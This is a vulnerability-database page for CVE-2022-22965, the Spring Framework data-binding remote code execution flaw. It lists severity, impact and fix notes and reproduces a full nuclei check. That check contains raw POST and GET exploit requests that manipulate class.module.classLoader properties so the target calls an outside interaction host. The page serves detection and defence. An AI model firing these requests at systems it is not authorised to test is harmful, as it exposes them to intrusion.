HexBrain

Browse / CVEs / CVE-2022-22965

CVE-2022-22965· vmware / spring framework· CWE-94

Spring - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-04-04; known to be used by ransomware.

criticalseverity
9.8CVSS score
99.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Spring MVC and Spring WebFlux applications running on Java Development Kit 9+ are susceptible to remote code execution via data binding. It requires the application to run on Tomcat as a WAR deployment. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to this exploit.

How to confirm it

Send: POST {{BaseURL}} ; GET /?class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.co…
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: Java"

Run it with nuclei: nuclei -id CVE-2022-22965 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-22965

info:
  name: Spring - Remote Code Execution
  author: justmumu,arall,dhiyaneshDK,akincibor
  severity: critical
  description: |
    Spring MVC and Spring WebFlux applications running on Java Development Kit 9+ are susceptible to remote code execution via data binding. It requires the application to run on Tomcat as a WAR deployment. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to this exploit.
  reference:
    - https://tanzu.vmware.com/security/cve-2022-22965
    - https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
    - https://twitter.com/RandoriAttack/status/1509298490106593283
    - https://mp.weixin.qq.com/s/kgw-O4Hsd9r2vfme3Y2Ynw
    - https://twitter.com/_0xf4n9x_/status/1509935429365100546
    - https://nvd.nist.gov/vuln/detail/cve-2022-22965
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-22965
    cwe-id: CWE-94
    epss-score: 0.99638
    epss-percentile: 0.99949
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: vmware
    product: spring_framework
  tags: cve2022,cve,rce,spring,injection,oast,intrusive,kev,vmware,vkev,vuln

http:
  - raw:
      - |
        POST {{BaseURL}} HTTP/1.1
        Content-Type: application/x-www-form-urlencoded

        class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx
      - |
        GET /?class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1

    payloads:
      interact_protocol:
        - "http"
        - https

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"
        case-insensitive: true

References

Use this check only on systems you are authorised to test. Where the data comes from